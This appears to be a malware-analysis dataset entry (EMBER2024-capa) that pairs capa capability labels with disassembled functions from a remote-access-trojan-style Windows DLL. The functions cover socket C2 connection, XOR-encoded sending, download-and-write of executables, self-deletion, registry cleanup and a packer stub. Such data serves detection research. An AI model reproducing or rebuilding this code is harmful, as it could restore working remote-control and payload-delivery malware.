joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10001030
Capabilities:
Initialize winsock library

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x19c
mov eax, dword [0x10024008]
xor eax, esp
mov dword [esp + 0x198], eax
push esi
mov esi, ecx
lea eax, [esp + 8]
push eax
push 0x202
mov dword [esi], vtable.CClientSocket.0
mov dword [esi + 4], vtable.CBuffer.0
mov dword [esi + 0x10], 0
mov dword [esi + 8], 0
mov dword [esi + 0xc], 0
mov dword [esi + 0x14], vtable.CBuffer.0
mov dword [esi + 0x20], 0
mov dword [esi + 0x18], 0
mov dword [esi + 0x1c], 0
mov dword [esi + 0x24], vtable.CBuffer.0
mov dword [esi + 0x30], 0
mov dword [esi + 0x28], 0
mov dword [esi + 0x2c], 0
mov dword [esi + 0x34], vtable.CBuffer.0
mov dword [esi + 0x40], 0
mov dword [esi + 0x38], 0
mov dword [esi + 0x3c], 0
call dword [sym.imp.WS2_32.dll_WSAStartup]
push 0
push 0
push 1
push 0
call dword [sym.imp.KERNEL32.dll_CreateEventA]
mov dword [esp + 4], 0x20206d74
mov ecx, dword [esp + 4]
mov dword [esi + 0x4c], eax
mov eax, esi
mov dword [esi + 0x50], ecx
mov ecx, dword [esp + 0x19c]
mov byte [esi + 0x54], 0
mov dword [esi + 0x48], 0xffffffff
pop esi
xor ecx, esp
call fcn.100073c8
mov esp, ebp
pop ebp
ret

Function at 0x10001150
Capabilities:
Set socket configuration

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov eax, dword [0x10024008]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
mov edi, ecx
push 0xffffffffffffffff
lea esi, [edi + 0x54]
mov byte [esi], 0
push dword [edi + 0x44]
mov dword [edi], vtable.CClientSocket.0
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov eax, dword [edi + 0x48]
cmp eax, 0xffffffff
je 0x100011c8
push 4
lea ecx, [ebp - 8]
mov dword [ebp - 8], 1
push ecx
push 0x80
push 0xffff
push eax
call dword [sym.imp.WS2_32.dll_setsockopt]
push dword [edi + 0x48]
call dword [sym.imp.KERNEL32.dll_CancelIo]
xor eax, eax
xchg dword [esi], eax
push dword [edi + 0x48]
call dword [sym.imp.WS2_32.dll_closesocket]
push dword [edi + 0x4c]
call dword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [edi + 0x48], 0xffffffff
push dword [edi + 0x44]
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
call esi
push dword [edi + 0x4c]
call esi
call dword [sym.imp.WS2_32.dll_WSACleanup]
mov eax, dword [edi + 0x38]
mov esi, dword [sym.imp.KERNEL32.dll_VirtualFree]
mov dword [edi + 0x34], vtable.CBuffer.0
test eax, eax
je 0x100011fc
push 0x8000
push 0
push eax
call esi
mov eax, dword [edi + 0x28]
mov dword [edi + 0x24], vtable.CBuffer.0
test eax, eax
je 0x10001214
push 0x8000
push 0
push eax
call esi
mov eax, dword [edi + 0x18]
mov dword [edi + 0x14], vtable.CBuffer.0
test eax, eax
je 0x1000122c
push 0x8000
push 0
push eax
call esi
mov eax, dword [edi + 8]
mov dword [edi + 4], vtable.CBuffer.0
test eax, eax
je 0x10001244
push 0x8000
push 0
push eax
call esi
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.100073c8
mov esp, ebp
pop ebp
ret
Function at 0x10001260
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Connect udp socket
Create tcp socket
Create thread
Create udp socket
Resolve dns
Set socket configuration

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x34
mov eax, dword [0x10024008]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
mov esi, dword [ebp + 8]
lea eax, [ebp - 8]
push edi
push 4
push eax
mov edi, ecx
mov dword [ebp - 8], 1
push 0x80
push 0xffff
push dword [edi + 0x48]
call dword [sym.imp.WS2_32.dll_setsockopt]
push dword [edi + 0x48]
call dword [sym.imp.KERNEL32.dll_CancelIo]
lea ebx, [edi + 0x54]
xor eax, eax
xchg dword [ebx], eax
push dword [edi + 0x48]
call dword [sym.imp.WS2_32.dll_closesocket]
push dword [edi + 0x4c]
call dword [sym.imp.KERNEL32.dll_SetEvent]
push dword [edi + 0x4c]
mov dword [edi + 0x48], 0xffffffff
call dword [sym.imp.KERNEL32.dll_ResetEvent]
push 6
push 1
push 2
mov byte [ebx], 0
call dword [sym.imp.WS2_32.dll_socket]
mov dword [edi + 0x48], eax
cmp eax, 0xffffffff
je 0x100013e7
push esi
call dword [sym.imp.WS2_32.dll_gethostbyname]
mov esi, eax
test esi, esi
je 0x100013e7
push dword [ebp + 0xc]
mov eax, 2
mov word [ebp - 0x20], ax
call dword [sym.imp.WS2_32.dll_htons]
mov word [ebp - 0x1e], ax
mov eax, dword [esi + 0xc]
push 0x10
mov eax, dword [eax]
mov eax, dword [eax]
mov dword [ebp - 0x1c], eax
lea eax, [ebp - 0x20]
push eax
push dword [edi + 0x48]
call dword [sym.imp.WS2_32.dll_connect]
cmp eax, 0xffffffff
je 0x100013e7
push 4
lea eax, [ebp - 0xc]
mov dword [ebp - 0xc], 1
push eax
push 8
push 0xffff
push dword [edi + 0x48]
call dword [sym.imp.WS2_32.dll_setsockopt]
test eax, eax
jne 0x10001382
push eax
push eax
lea eax, [ebp - 0x10]
mov dword [ebp - 0x2c], 1
push eax
push 0
push 0
push 0xc
lea eax, [ebp - 0x2c]
mov dword [ebp - 0x28], 0x2bf20
push eax
push 0x98000004
push dword [edi + 0x48]
mov dword [ebp - 0x24], 0x1388
call dword [sym.imp.WS2_32.dll_WSAIoctl]
push 0
push 0
push 0
push 0
mov byte [ebx], 1
mov dword [ebp - 0x30], 0x10001400
mov dword [ebp - 0x2c], edi
call dword [sym.imp.KERNEL32.dll_CreateEventA]
push 0
push 0
mov dword [ebp - 0x24], eax
lea eax, [ebp - 0x30]
push eax
push 0x10005540
push 0
push 0
call fcn.1000cc41
add esp, 0x18
mov esi, eax
push 0xffffffffffffffff
push dword [ebp - 0x24]
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push dword [ebp - 0x24]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [edi + 0x44], esi
mov al, 1
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.100073c8
mov esp, ebp
pop ebp
ret 8
mov ecx, dword [ebp - 4]
xor al, al
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.100073c8
mov esp, ebp
pop ebp
ret 8
Function at 0x10001b20
Capabilities:
Encode data using xor
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
push ebx
mov ebx, dword [ebp + 0xc]
xor edx, edx
mov dword [ebp - 4], ecx
push esi
push edi
mov edi, dword [ebp + 8]
test ebx, ebx
jle 0x10001bb6
cmp ebx, 0x40
jb 0x10001ba7
movaps xmm2, xmmword [0x10021640]
lea eax, [edi + 0x20]
movaps xmm3, xmmword [0x10021660]
mov esi, ebx
and esi, 0xffffffc0
movups xmm0, xmmword [eax - 0x20]
lea eax, [eax + 0x40]
add edx, 0x40
movaps xmm1, xmm2
pxor xmm1, xmm0
psubb xmm1, xmm3
movups xmmword [eax - 0x60], xmm1
movaps xmm1, xmm2
movups xmm0, xmmword [eax - 0x50]
pxor xmm0, xmm2
psubb xmm0, xmm3
movups xmmword [eax - 0x50], xmm0
movups xmm0, xmmword [eax - 0x40]
pxor xmm1, xmm0
psubb xmm1, xmm3
movups xmmword [eax - 0x40], xmm1
movups xmm0, xmmword [eax - 0x30]
pxor xmm0, xmm2
psubb xmm0, xmm3
movups xmmword [eax - 0x30], xmm0
cmp edx, esi
jl 0x10001b53
cmp edx, ebx
jge 0x10001bb6
mov al, byte [edx + edi]
xor al, 0x30
sub al, 0x49
mov byte [edx + edi], al
inc edx
cmp edx, ebx
jl 0x10001ba7
xor esi, esi
mov eax, ebx
cmp ebx, 0x32000
mov dword [ebp - 8], esi
mov ebx, dword [sym.imp.WS2_32.dll_send]
mov dword [ebp + 8], eax
jb 0x10001c19
nop
xor esi, esi
push 0
push 0x32000
push edi
push dword [ecx + 0x48]
call ebx
test eax, eax
jg 0x10001bee
mov ecx, dword [ebp - 4]
inc esi
cmp esi, 0xf
jl 0x10001bd2
je 0x10001c3d
mov esi, dword [ebp - 8]
add edi, 0x32000
add esi, eax
push 0xa
mov dword [ebp - 8], esi
call dword [sym.imp.KERNEL32.dll_Sleep]
mov eax, dword [ebp + 8]
mov ecx, dword [ebp - 4]
sub eax, 0x32000
mov dword [ebp + 8], eax
cmp eax, 0x32000
jae 0x10001bd0
test eax, eax
jle 0x10001c4e
xor esi, esi
nop
push 0
push eax
push edi
push dword [ecx + 0x48]
call ebx
mov edx, eax
test edx, edx
jg 0x10001c49
mov eax, dword [ebp + 8]
inc esi
mov ecx, dword [ebp - 4]
cmp esi, 0xf
jl 0x10001c20
jne 0x10001c49
pop edi
pop esi
or eax, 0xffffffff
pop ebx
mov esp, ebp
pop ebp
ret 0xc
mov esi, dword [ebp - 8]
add esi, edx
or eax, 0xffffffff
cmp esi, dword [ebp + 0xc]
pop edi
cmove eax, esi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0xc
Function at 0x10001c90
Capabilities:
Encode data using xor
Get common file path
Get file size
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x118
mov eax, dword [0x10024008]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
xor ebx, ebx
mov dword [ebp - 0x110], ecx
push 0x104
lea eax, [ebp - 0x108]
mov dword [ebp - 0x10c], ebx
push ebx
push eax
call fcn.10008df0
add esp, 0xc
lea eax, [ebp - 0x108]
push eax
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
lea edi, [ebp - 0x108]
dec edi
mov al, byte [edi + 1]
lea edi, [edi + 1]
test al, al
jne 0x10001ce2
mov ax, word [0x1001fcc0]
mov edx, str.MUTEX_Ovauogocz
mov word [edi], ax
mov esi, edx
nop dword [eax]
mov al, byte [edx]
inc edx
test al, al
jne 0x10001d00
lea edi, [ebp - 0x108]
sub edx, esi
dec edi
mov al, byte [edi + 1]
inc edi
test al, al
jne 0x10001d10
mov ecx, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea ecx, [ebp - 0x108]
dec ecx
nop dword [eax]
mov al, byte [ecx + 1]
lea ecx, [ecx + 1]
test al, al
jne 0x10001d30
mov eax, dword [str..key]
push 0
push 0x80
push 3
mov dword [ecx], eax
mov al, byte [0x1001fcc8]
push 0
push 1
mov byte [ecx + 4], al
lea eax, [ebp - 0x108]
push closesocket
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov edi, eax
mov dword [ebp - 0x118], edi
cmp edi, 0xffffffff
je 0x10001e68
push 0
push edi
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov ebx, eax
push ebx
call fcn.100073e9
add esp, 4
mov esi, eax
lea eax, [ebp - 0x10c]
mov dword [ebp - 0x114], esi
push 0
push eax
push ebx
push esi
push edi
call dword [sym.imp.KERNEL32.dll_ReadFile]
xor ecx, ecx
test ebx, ebx
je 0x10001e0f
cmp ebx, 0x40
jb 0x10001e02
movaps xmm2, xmmword [0x10021670]
mov eax, ebx
and eax, 0x3f
mov edx, ebx
sub edx, eax
lea eax, [esi + 0x20]
movups xmm0, xmmword [eax - 0x20]
lea eax, [eax + 0x40]
add ecx, 0x40
movaps xmm1, xmm2
pxor xmm1, xmm0
movups xmmword [eax - 0x60], xmm1
movups xmm0, xmmword [eax - 0x50]
pxor xmm0, xmm2
movups xmmword [eax - 0x50], xmm0
movups xmm0, xmmword [eax - 0x40]
pxor xmm0, xmm2
movups xmmword [eax - 0x40], xmm0
movups xmm0, xmmword [eax - 0x30]
pxor xmm0, xmm2
movups xmmword [eax - 0x30], xmm0
cmp ecx, edx
jb 0x10001dc5
cmp ecx, ebx
jae 0x10001e0f
xor byte [ecx + esi], 0x62
inc ecx
cmp ecx, ebx
jb 0x10001e06
lea esi, [ebx + 1]
push esi
push 0x40
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov edi, eax
push ebx
mov ebx, dword [ebp - 0x114]
push ebx
lea eax, [edi + 1]
mov byte [edi], 5
push eax
call fcn.1000a310
mov ecx, dword [ebp - 0x110]
add esp, 0xc
mov ecx, dword [ecx + 4]
push esi
push edi
call fcn.100018b0
push edi
mov dword [ebp - 0x110], eax
call dword [sym.imp.KERNEL32.dll_LocalFree]
push 1
push ebx
call fcn.100073db
mov edi, dword [ebp - 0x118]
add esp, 8
mov ebx, dword [ebp - 0x110]
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [ebp - 4]
mov eax, ebx
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.100073c8
mov esp, ebp
pop ebp
ret
Function at 0x10002b00
Capabilities:
Check os version
Contain obfuscated stackstrings
Delete file
Delete registry key
Delete registry value
Get common file path
Move file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x5c4
mov eax, dword [0x10024008]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
push 0x104
lea eax, [ebp - 0x230]
push eax
push dword [0x10025ed0]
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
push 0x104
lea eax, [ebp - 0x12c]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
call dword [sym.imp.KERNEL32.dll_GetTickCount]
mov esi, dword [sym.imp.USER32.dll_wsprintfA]
push eax
lea eax, [ebp - 0x12c]
push eax
push str._s_d.bak
push eax
call esi
add esp, 0x10
lea eax, [ebp - 0x12c]
push eax
lea eax, [ebp - 0x230]
push eax
call dword [sym.imp.KERNEL32.dll_MoveFileA]
push 4
push 0
lea eax, [ebp - 0x12c]
push eax
call dword [sym.imp.KERNEL32.dll_MoveFileExA]
push 0x400
lea eax, [ebp - 0x52c]
push 0
push eax
call fcn.10008df0
push str.MUTEX_Ovauogocz
lea eax, [ebp - 0x18]
mov dword [ebp - 0x18], 0x6e69614d
push eax
lea eax, [ebp - 0x52c]
mov dword [ebp - 0x14], 0x5c6c6c44
push eax
mov word [ebp - 0x10], 0x7325
mov byte [ebp - 0xe], 0
call esi
add esp, 0x18
mov dword [ebp - 0x28], 0x6e6e6f43
lea eax, [ebp - 0x5c4]
mov dword [ebp - 0x24], 0x47746365
mov dword [ebp - 0x20], 0x70756f72
mov byte [ebp - 0x1c], 0
push eax
push 2
push 0
lea eax, [ebp - 0x52c]
mov dword [ebp - 0xc], 0x74736f48
push eax
push closesocket
mov byte [ebp - 8], 0
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x10002c25
mov esi, dword [sym.imp.ADVAPI32.dll_RegDeleteValueA]
lea eax, [ebp - 0x28]
push eax
push dword [ebp - 0x5c4]
call esi
lea eax, [ebp - 0xc]
push eax
push dword [ebp - 0x5c4]
call esi
push dword [ebp - 0x5c4]
mov esi, dword [sym.imp.ADVAPI32.dll_RegCloseKey]
call esi
lea eax, [ebp - 0x5c4]
push eax
push 2
push 0
push str.MainDll
push closesocket
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x10002c63
push str.MUTEX_Ovauogocz
push dword [ebp - 0x5c4]
call dword [sym.imp.ADVAPI32.dll_RegDeleteKeyA]
push dword [ebp - 0x5c4]
call esi
lea eax, [ebp - 0x5c0]
mov dword [ebp - 0x5c0], 0x94
push eax
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
cmp dword [ebp - 0x5b0], 2
pop esi
jne 0x10002ca5
mov eax, dword [0x10025c64]
mov ecx, 1
cmp dword [ebp - 0x5bc], 6
cmovae eax, ecx
mov dword [0x10025c64], eax
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.100073c8
mov esp, ebp
pop ebp
ret
Function at 0x10002f50
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x174
mov eax, dword [0x10024008]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
mov ebx, ecx
mov dword [ebp - 0x16c], edx
mov esi, ebx
push edi
lea edi, [esi + 1]
mov al, byte [esi]
inc esi
test al, al
jne 0x10002f73
sub esi, edi
je 0x1000309a
push 0x104
lea eax, [ebp - 0x110]
push 0
push eax
call fcn.10008df0
add esp, 8
lea eax, [ebp - 0x110]
mov edx, str.Applicationsiexplore.exe_shellopencommand
push 0x104
push ecx
push eax
push 1
push 0
mov ecx, closesocket
call fcn.10005af0
add esp, 0x18
test eax, eax
je 0x1000309a
lea eax, [ebp - 0x110]
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenA]
test eax, eax
je 0x1000309a
lea eax, [ebp - 0x110]
push 0x100200ac
push eax
call fcn.100086b0
add esp, 8
test eax, eax
je 0x1000309a
push ebx
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
cmp dword [ebp - 0x16c], 0
xorps xmm0, xmm0
movlpd qword [ebp - 0x164], xmm0
movlpd qword [ebp - 0x15c], xmm0
movlpd qword [ebp - 0x154], xmm0
movlpd qword [ebp - 0x14c], xmm0
movlpd qword [ebp - 0x144], xmm0
movlpd qword [ebp - 0x13c], xmm0
movlpd qword [ebp - 0x134], xmm0
movlpd qword [ebp - 0x12c], xmm0
mov dword [ebp - 0x168], 0x44
je 0x1000305e
mov dword [ebp - 0x160], str.WinSta0Default
jmp 0x10003071
xor eax, eax
mov dword [ebp - 0x13c], 1
mov word [ebp - 0x138], ax
lea eax, [ebp - 0x120]
push eax
lea eax, [ebp - 0x168]
push eax
push 0
push 0
push 0
push 0
push 0
push 0
lea eax, [ebp - 0x110]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
mov ecx, dword [ebp - 4]
xor al, al
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.100073c8
mov esp, ebp
pop ebp
ret
Function at 0x10003e60
Capabilities:
Terminate thread

Disassembly:
push ebp
mov ebp, esp
push ebx
push esi
mov esi, ecx
xor ebx, ebx
mov dword [esi], vtable.CKernelManager.0
cmp dword [esi + 0xfac], ebx
jbe 0x10003e9f
push edi
lea edi, [esi + 0xc]
nop dword [eax + eax]
push 0xffffffffffffffff
push dword [edi]
call dword [sym.imp.KERNEL32.dll_TerminateThread]
push dword [edi]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
inc ebx
lea edi, [edi + 4]
cmp ebx, dword [esi + 0xfac]
jb 0x10003e80
pop edi
push dword [esi + 8]
mov dword [esi], vtable.CManager.0
call dword [sym.imp.KERNEL32.dll_CloseHandle]
test byte [ebp + 8], 1
je 0x10003ec2
push 0xfb4
push esi
call fcn.100073db
add esp, 8
mov eax, esi
pop esi
pop ebx
pop ebp
ret 4
Function at 0x10005590
Capabilities:
Link many functions at runtime

Disassembly:
push ebp
mov ebp, esp
push 0xfffffffffffffffe
push 0x10021f10
push 0x10008aa0
mov eax, dword fs:[0]
push eax
sub esp, 0x12c
mov eax, dword [0x10024008]
xor dword [ebp - 8], eax
xor eax, ebp
mov dword [ebp - 0x1c], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0x10]
mov dword fs:[0], eax
mov dword [ebp - 0x12c], ecx
push str.user32.dll
mov edi, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
call edi
mov dword [ebp - 0x124], eax
push str.GetThreadDesktop
push eax
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
call esi
mov ebx, eax
push str.GetUserObjectInformationA
push dword [ebp - 0x124]
call esi
mov dword [ebp - 0x130], eax
push str.SetThreadDesktop
push dword [ebp - 0x124]
call esi
mov dword [ebp - 0x134], eax
push str.CloseDesktop
push dword [ebp - 0x124]
call esi
mov dword [ebp - 0x138], eax
push str.kernel32.dll
call edi
mov dword [ebp - 0x13c], eax
push 0x10020ac8
push eax
call esi
call eax
push eax
call ebx
mov ebx, eax
mov esi, 1
mov dword [ebp - 0x128], esi
mov dword [ebp - 4], 0
lea eax, [ebp - 0x120]
push eax
push 0x100
lea eax, [ebp - 0x11c]
push eax
push 2
mov edi, dword [ebp - 0x12c]
push edi
call dword [ebp - 0x130]
test eax, eax
jne 0x10005686
xor esi, esi
mov dword [ebp - 0x128], esi
jmp 0x10005698
push edi
call dword [ebp - 0x134]
test eax, eax
je 0x1000567c
push ebx
call dword [ebp - 0x138]
mov dword [ebp - 4], 0xfffffffe
call fcn.100056c8
mov eax, esi
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x1c]
xor ecx, ebp
call fcn.100073c8
mov esp, ebp
pop ebp
ret
Function at 0x100057e0
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x41c
mov eax, dword [0x10024008]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
push str.wininet.dll
mov dword [ebp - 0x41c], edx
mov esi, 1
mov dword [ebp - 0x414], ecx
mov dword [ebp - 0x408], 0
mov dword [ebp - 0x40c], 0
mov byte [ebp - 0x40d], 1
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov ebx, dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov edi, eax
push str.InternetOpenA
push edi
call ebx
push 0
push 0
push 0
push 0
push str.MSIE_6.0
call eax
mov dword [ebp - 0x418], eax
test eax, eax
je 0x10005881
push str.InternetOpenUrlA
push edi
call ebx
push 0
push closesocket
push 0
push 0
push dword [ebp - 0x414]
push dword [ebp - 0x418]
call eax
mov dword [ebp - 0x414], eax
test eax, eax
jne 0x1000589f
test edi, edi
je 0x1000588c
push edi
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
pop edi
pop esi
xor al, al
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.100073c8
mov esp, ebp
pop ebp
ret
push 0
push 0
push 2
push 0
push 0
push 0x40000000
push dword [ebp - 0x41c]
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov ebx, eax
cmp ebx, 0xffffffff
je 0x10005955
nop word [eax + eax]
push 0x400
lea eax, [ebp - 0x404]
push 0
push eax
call fcn.10008df0
add esp, 0xc
push str.InternetReadFile
push edi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
lea ecx, [ebp - 0x408]
push ecx
push 0x400
lea ecx, [ebp - 0x404]
push ecx
push dword [ebp - 0x414]
call eax
test esi, esi
je 0x1000591f
mov eax, 0x5a4d
cmp word [ebp - 0x404], ax
jne 0x10005947
xor esi, esi
lea eax, [ebp - 0x40c]
push esi
push eax
push dword [ebp - 0x408]
lea eax, [ebp - 0x404]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_WriteFile]
cmp dword [ebp - 0x408], esi
ja 0x100058d0
jmp 0x1000594e
mov byte [ebp - 0x40d], 0
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 1
call dword [sym.imp.KERNEL32.dll_Sleep]
push str.InternetCloseHandle
push edi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push dword [ebp - 0x414]
mov esi, eax
call esi
push dword [ebp - 0x418]
call esi
test edi, edi
je 0x10005986
push edi
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
mov ecx, dword [ebp - 4]
mov al, byte [ebp - 0x40d]
xor ecx, ebp
pop edi
pop esi
pop ebx
call fcn.100073c8
mov esp, ebp
pop ebp
ret
Function at 0x100059a0
Capabilities:
Link many functions at runtime

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x10024008]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
push 0x10020b50
mov dword [ebp - 0x20], edx
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov ebx, eax
push str.OpenProcessToken
push ebx
call edi
push str.AdjustTokenPrivileges
push ebx
mov esi, eax
call edi
push str.LookupPrivilegeValueA
push ebx
mov dword [ebp - 0x1c], eax
call edi
push str.kernel32.dll
mov dword [ebp - 0x24], eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
push 0x10020ba4
push edi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
lea ecx, [ebp - 0x18]
push ecx
push 0x28
call eax
push eax
call esi
test eax, eax
jne 0x10005a22
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.100073c8
mov esp, ebp
pop ebp
ret
mov eax, dword [ebp - 0x20]
neg eax
mov dword [ebp - 0x14], 1
sbb eax, eax
and eax, 2
mov dword [ebp - 8], eax
lea eax, [ebp - 0x10]
push eax
push str.SeShutdownPrivilege
push 0
call dword [ebp - 0x24]
push 0
push 0
push 0x10
lea eax, [ebp - 0x14]
push eax
push 0
push dword [ebp - 0x18]
call dword [ebp - 0x1c]
push 0x10020bb8
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push 0x10020bc8
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov esi, 1
call eax
push dword [ebp - 0x18]
xor ecx, ecx
test eax, eax
cmovne esi, ecx
mov dword [ebp - 0x1c], esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov esi, dword [sym.imp.KERNEL32.dll_FreeLibrary]
test ebx, ebx
je 0x10005a94
push ebx
call esi
test edi, edi
je 0x10005a9b
push edi
call esi
mov ecx, dword [ebp - 4]
mov eax, dword [ebp - 0x1c]
xor ecx, ebp
pop edi
pop esi
pop ebx
call fcn.100073c8
mov esp, ebp
pop ebp
ret
Function at 0x100191e0
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x1001920d
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x1001920d
mov edx, 0x10b
xor eax, eax
cmp word [ecx + 0x18], dx
sete al
pop ebp
ret
xor eax, eax
pop ebp
ret

Function at 0x430000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
mov eax, section..text
nop
nop
push 4
nop
nop
nop
nop
nop
nop
nop
pop edi
nop
nop
cmp eax, 0
nop
nop
nop
je 0x430072
nop
nop
nop
mov ebx, 0x408f6c
nop
nop
nop
mov ecx, ebx
nop
nop
nop
nop
sub ecx, eax
nop
nop
nop
nop
nop
nop
xor edx, edx
push eax
nop
nop
nop
nop
nop
nop
mov eax, ecx
nop
nop
nop
nop
nop
nop
div edi
nop
nop
xchg ecx, eax
nop
nop
nop
nop
nop
nop
pop eax
nop
nop
nop
nop
mov esi, 0x762b3ad9
xor dword [eax], esi
nop
nop
nop
nop
nop
nop
nop
nop
add eax, edi
loop 0x430060
nop
nop
nop
nop
mov eax, section..data
nop
cmp eax, 0
nop
nop
nop
nop
nop
nop
je 0x4300d2
nop
mov ebx, 0x42e3d0
nop
nop
nop
nop
mov ecx, ebx
nop
nop
nop
nop
sub ecx, eax
nop
nop
xor edx, edx
nop
nop
nop
nop
nop
nop
push eax
nop
nop
nop
nop
nop
mov eax, ecx
nop
nop
nop
div edi
nop
nop
nop
nop
nop
xchg ecx, eax
nop
nop
pop eax
nop
nop
nop
nop
nop
nop
mov esi, 0x7e800dd1
nop
nop
xor dword [eax], esi
nop
nop
add eax, edi
nop
nop
nop
nop
loop 0x4300c0
nop
nop
nop
nop
nop
nop
popal
nop
nop
nop
jmp 0x401219